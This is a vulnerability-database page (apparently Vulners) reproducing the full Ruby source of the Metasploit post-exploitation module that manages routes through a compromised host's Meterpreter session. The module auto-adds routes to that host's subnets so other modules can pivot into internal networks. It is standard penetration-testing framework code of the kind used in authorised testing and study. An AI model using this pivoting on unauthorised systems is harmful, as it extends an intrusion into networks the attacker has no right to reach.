">
Lucene search
K

Multi Manage Network Route via Meterpreter Session

🗓️ 11 May 2017 04:01:02Reported by todb <[email protected]>, Josh Hale "sn0wfa11" <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 59 Views

Manage Network Route via Meterpreter Sessio

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Manage Network Route via Meterpreter Session',
        'Description' => %q{
          This module manages session routing via an existing
          Meterpreter session. It enables other modules to 'pivot' through a
          compromised host when connecting to the named NETWORK and SUBMASK.
          Autoadd will search a session for valid subnets from the routing table
          and interface list then add routes to them. Default will add a default
          route so that all TCP/IP traffic not specified in the MSF routing table
          will be routed through the session when pivoting. See documentation for more
          'info -d' and click 'Knowledge Base'
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'todb',
          'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>'
        ],
        'SessionTypes' => [ 'meterpreter'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_net_config_get_interfaces
              stdapi_net_config_get_routes
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('SUBNET', [false, 'Subnet (IPv4, for example, 10.10.10.0)', nil]),
        OptString.new('NETMASK', [false, 'Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"', '255.255.255.0']),
        OptEnum.new('CMD', [true, 'Specify the autoroute command', 'autoadd', ['add', 'autoadd', 'print', 'delete', 'default']])
      ]
    )
  end

  # Get the CMD string vs ACTION
  #
  # Backwards compatability: This was changed because the option name of "ACTION"
  # is special for some things, and indicates the :action attribute, not a datastore option.
  # However, this is a semi-popular module, though, so I'd prefer not to break people's
  # RC scripts that set ACTION. Note that ACTION is preferred over CMD.
  #
  # TODO: The better solution is to use 'Action' and 'DefaultAction' info elements,
  # but there are some squirelly problems right now with rendering these for post modules.
  #
  # @return [string class] cmd string
  def route_cmd
    if datastore['ACTION'].to_s.empty?
      datastore['CMD'].to_s.downcase.to_sym
    else
      wlog("Warning, deprecated use of 'ACTION' datastore option for #{fullname}'. Use 'CMD' instead.")
      datastore['ACTION'].to_s.downcase.to_sym
    end
  end

  # Run Method for when run command is issued
  #
  # @return [void] A useful return value is not expected here
  def run
    return unless session_good?

    print_status("Running module against #{sysinfo['Computer']}")

    case route_cmd
    when :print
      print_routes
    when :add
      if validate_cmd(datastore['SUBNET'], netmask)
        print_status('Adding a route to %s/%s...' % [datastore['SUBNET'], netmask])
        add_route(datastore['SUBNET'], netmask)
      end
    when :autoadd
      autoadd_routes
    when :default
      add_default
    when :delete
      if datastore['SUBNET']
        print_status('Deleting route to %s/%s...' % [datastore['SUBNET'], netmask])
        delete_route(datastore['SUBNET'], netmask)
      else
        delete_all_routes
      end
    end
  end

  # Delete all routes from framework routing table.
  #
  # @return [void] A useful return value is not expected here
  def delete_all_routes
    if !Rex::Socket::SwitchBoard.routes.empty?
      print_status("Deleting all routes associated with session: #{session.sid}.")
      loop do
        count = 0
        Rex::Socket::SwitchBoard.each do |route|
          if route.comm == session
            print_status("Deleting: #{route.subnet}/#{route.netmask}")
            delete_route(route.subnet, route.netmask)
          end
        end
        Rex::Socket::SwitchBoard.each do |route|
          count += 1 if route.comm == session
        end
        break if count == 0
      end
      print_status('Deleted all routes')
    else
      print_status('No routes associated with this session to delete.')
    end
  end

  # Print all of the active routes defined on the framework
  #
  # Identical functionality to command_dispatcher/core.rb, and
  # nearly identical code
  #
  # @return [void] A useful return value is not expected here
  def print_routes
    # IPv4 Table
    tbl_ipv4 = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => 'IPv4 Active Routing Table',
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Columns' =>
        [
          'Subnet',
          'Netmask',
          'Gateway',
        ],
      'ColProps' =>
        {
          'Subnet' => { 'Width' => 17 },
          'Netmask' => { 'Width' => 17 }
        }
    )

    # IPv6 Table
    tbl_ipv6 = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => 'IPv6 Active Routing Table',
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Columns' =>
        [
          'Subnet',
          'Netmask',
          'Gateway',
        ],
      'ColProps' =>
        {
          'Subnet' => { 'Width' => 17 },
          'Netmask' => { 'Width' => 17 }
        }
    )

    # Populate Route Tables
    Rex::Socket::SwitchBoard.each do |route|
      if route.comm.is_a?(Msf::Session)
        gw = "Session #{route.comm.sid}"
      else
        gw = route.comm.name.split(/::/)[-1]
      end

      tbl_ipv4 << [ route.subnet, route.netmask, gw ] if Rex::Socket.is_ipv4?(route.netmask)
      tbl_ipv6 << [ route.subnet, route.netmask, gw ] if Rex::Socket.is_ipv6?(route.netmask)
    end

    # Print Route Tables
    print_status(tbl_ipv4.to_s) if !tbl_ipv4.rows.empty?
    print_status(tbl_ipv6.to_s) if !tbl_ipv6.rows.empty?
    if (tbl_ipv4.rows.length + tbl_ipv6.rows.length) < 1
      print_status('There are currently no routes defined.')
    elsif tbl_ipv4.rows.empty? && !tbl_ipv6.rows.empty?
      print_status('There are currently no IPv4 routes defined.')
    elsif !tbl_ipv4.rows.empty? && tbl_ipv6.rows.empty?
      print_status('There are currently no IPv6 routes defined.')
    end
  end

  # Validation check on an IPv4 address
  #
  # Yet another IP validator. I'm sure there's some Rex
  # function that can just do this.
  #
  # @return [string class] IPv4 subnet
  def check_ip(ip = nil)
    return false if (ip.nil? || ip.strip.empty?)

    begin
      rw = Rex::Socket::RangeWalker.new(ip.strip)
      (rw.valid? && rw.length == 1) ? true : false
    rescue StandardError
      false
    end
  end

  # Converts a CIDR value to a netmask
  #
  # @return [string class] IPv4 netmask
  def cidr_to_netmask(cidr)
    int = cidr.gsub(/\x2f/, '').to_i
    Rex::Socket.addr_ctoa(int)
  end

  # Validates the user input 'NETMASK'
  #
  # @return [string class] IPv4 netmask
  def netmask
    case datastore['NETMASK']
    when /^\x2f[0-9]{1,2}/
      cidr_to_netmask(datastore['NETMASK'])
    when /^[0-9]{1,3}\.[0-9]/ # Close enough, if it's wrong it'll fail out later.
      datastore['NETMASK']
    else
      '255.255.255.0'
    end
  end

  # This function adds a route to the framework routing table
  #
  # @subnet [string class] subnet to add
  # @netmask [string class] netmask
  # @origin [string class] where route is coming from. Nill for none.
  #
  # @return [true]  If added
  # @return [false] If not
  def add_route(subnet, netmask, origin = nil)
    if origin
      origin = " from #{origin}"
    else
      origin = ''
    end

    begin
      if Rex::Socket::SwitchBoard.add_route(subnet, netmask, session)
        print_good("Route added to subnet #{subnet}/#{netmask}#{origin}.")
        return true
      else
        print_error("Could not add route to subnet #{subnet}/#{netmask}#{origin}.")
        return false
      end
    rescue ::Rex::Post::Meterpreter::RequestError => e
      print_error("Could not add route to subnet #{subnet}/#{netmask}#{origin}.")
      print_error("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      return false
    end
  end

  # This function removes a route to the framework routing table
  #
  # @subnet [string class] subnet to add
  # @netmask [string class] netmask
  # @origin [string class] where route is coming from.
  #
  # @return [true]  If removed
  # @return [false] If not
  def delete_route(subnet, netmask)
    Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session)
  rescue ::Rex::Post::Meterpreter::RequestError => e
    print_error("Could not remove route to subnet #{subnet}/#{netmask}")
    print_error("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    return false
  end

  # This function will exclude loopback, multicast, and default routes
  #
  # @subnet [string class] IPv4 subnet or address to check
  # @netmask [string class] IPv4 netmask to check
  #
  # @return [true]  If good to add
  # @return [false] If not
  def is_routable?(subnet, netmask)
    if subnet =~ /^224\.|^127\./
      return false
    elsif subnet == '0.0.0.0'
      return false
    elsif netmask == '255.255.255.255'
      return false
    end

    return true
  end

  # Search for valid subnets on the target and attempt
  # add a route to each. (Operation from auto_add_route plugin.)
  #
  # @return [void] A useful return value is not expected here
  def autoadd_routes
    return unless route_compatible?

    print_status('Searching for subnets to autoroute.')
    found = false

    begin
      session.net.config.each_route do |route|
        next unless (Rex::Socket.is_ipv4?(route.subnet) && Rex::Socket.is_ipv4?(route.netmask)) # Pick out the IPv4 addresses

        subnet = get_subnet(route.subnet, route.netmask) # Make sure that the subnet is actually a subnet and not an IP address. Android phones like to send over their IP.
        next unless is_routable?(subnet, route.netmask)

        if !Rex::Socket::SwitchBoard.route_exists?(subnet, route.netmask) && add_route(subnet, route.netmask, "host's routing table")
          found = true
        end
      end
    rescue ::Rex::Post::Meterpreter::RequestError => e
      print_status('Unable to get routes from session, trying interface list.')
    end

    if !autoadd_interface_routes && !found # Check interface list for more possible routes
      print_status('Did not find any new subnets to add.')
    end
  end

  # Look at network interfaces as options for additional routes.
  # If the routes are not already included they will be added.
  #
  # @return [true] A route from the interface list was added
  # @return [false] No additional routes were added
  def autoadd_interface_routes
    return unless interface_compatible?

    found = false

    begin
      session.net.config.each_interface do |interface| # Step through each of the network interfaces
        (0..(interface.addrs.size - 1)).each do |index| # Step through the addresses for the interface
          ip_addr = interface.addrs[index]
          netmask = interface.netmasks[index]

          next unless (Rex::Socket.is_ipv4?(ip_addr) && Rex::Socket.is_ipv4?(netmask)) # Pick out the IPv4 addresses
          next unless is_routable?(ip_addr, netmask)

          subnet = get_subnet(ip_addr, netmask)

          if subnet && !Rex::Socket::SwitchBoard.route_exists?(subnet, netmask) && add_route(subnet, netmask, interface.mac_name)
            found = true
          end
        end
      end
    rescue ::Rex::Post::Meterpreter::RequestError => e
      print_error('Unable to get interface information from session.')
    end
    return found
  end

  # Take an IP address and a netmask and return the appropreate subnet "Network"
  #
  # @ip_addr [string class] Input IPv4 Address
  # @netmask [string class] Input IPv4 Netmask
  #
  # @return [string class] The subnet related to the IP address and netmask
  # @return [nil class] Something is out of range
  def get_subnet(ip_addr, netmask)
    return nil if !validate_cmd(ip_addr, netmask) # make sure IP and netmask are valid

    nets = ip_addr.split('.')
    masks = netmask.split('.')
    output = ''

    4.times do |index|
      octet = get_subnet_octet(int_or_nil(nets[index]), int_or_nil(masks[index]))
      return nil if !octet

      output << octet.to_s
      output << '.' if index < 3
    end
    return output
  end

  # Input an octet of an IPv4 address and the cooresponding octet of the
  # IPv4 netmask then return the appropreate subnet octet.
  #
  # @net  [integer class] IPv4 address octet
  # @mask [integer class] Ipv4 netmask octet
  #
  # @return [integer class] Octet of the subnet
  # @return [nil class] If an input is nil
  def get_subnet_octet(net, mask)
    return nil if !net || !mask

    subnet_range = 256 - mask  # This is the address space of the subnet octet

    multi = net / subnet_range # Integer division to get the multiplier needed to determine subnet octet

    return(subnet_range * multi) # Multiply to get subnet octet
  end

  # Take a string of numbers and converts it to an integer.
  #
  # @string [string class] Input string, needs to be all numbers (0..9)
  #
  # @return [integer class] Integer representation of the number string
  # @return [nil class] string contains non-numbers, cannot convert
  def int_or_nil(string)
    num = string.to_i
    num if num.to_s == string
  end

  # Add a default route to the routing table
  #
  # @return [void] A useful return value is not expected here
  def add_default
    subnet = '0.0.0.0'
    mask = '0.0.0.0'

    switch_board = Rex::Socket::SwitchBoard.instance
    print_status('Attempting to add a default route.')

    if !switch_board.route_exists?(subnet, mask)
      add_route(subnet, mask)
    end
  end

  # Checks to see if the session is ready.
  #
  # Some Meterpreter types, like python, can take a few seconds to
  # become fully established. This gracefully exits if the session
  # is not ready yet.
  #
  # @return [true class] Session is good
  # @return [false class] Session is not
  def session_good?
    if !session.info
      print_error('Session is not yet fully established. Try again in a bit.')
      return false
    end
    return true
  end

  # Checks to see if the session has routing capabilities
  #
  # @return [true class] Session has routing capabilities
  # @return [false class] Session does not
  def route_compatible?
    session.respond_to?(:net) &&
      session.net.config.respond_to?(:each_route)
  end

  # Checks to see if the session has capabilities of accessing network interfaces
  #
  # @return [true class] Session has ability to access network interfaces
  # @return [false class] Session does not
  def interface_compatible?
    session.respond_to?(:net) &&
      session.net.config.respond_to?(:each_interface)
  end

  # Validates the command options
  #
  # @return [true class] Everything is good
  # @return [false class] Not so much
  def validate_cmd(subnet = nil, netmask = nil)
    if subnet.nil?
      print_error 'Missing subnet option'
      return false
    end

    unless check_ip(subnet)
      print_error 'Subnet invalid (must be IPv4)'
      return false
    end

    if (netmask && !Rex::Socket.addr_atoc(netmask))
      print_error 'Netmask invalid (must define contiguous IP addressing)'
      return false
    end

    if (netmask && !check_ip(netmask))
      print_error 'Netmask invalid'
      return false
    end
    return true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation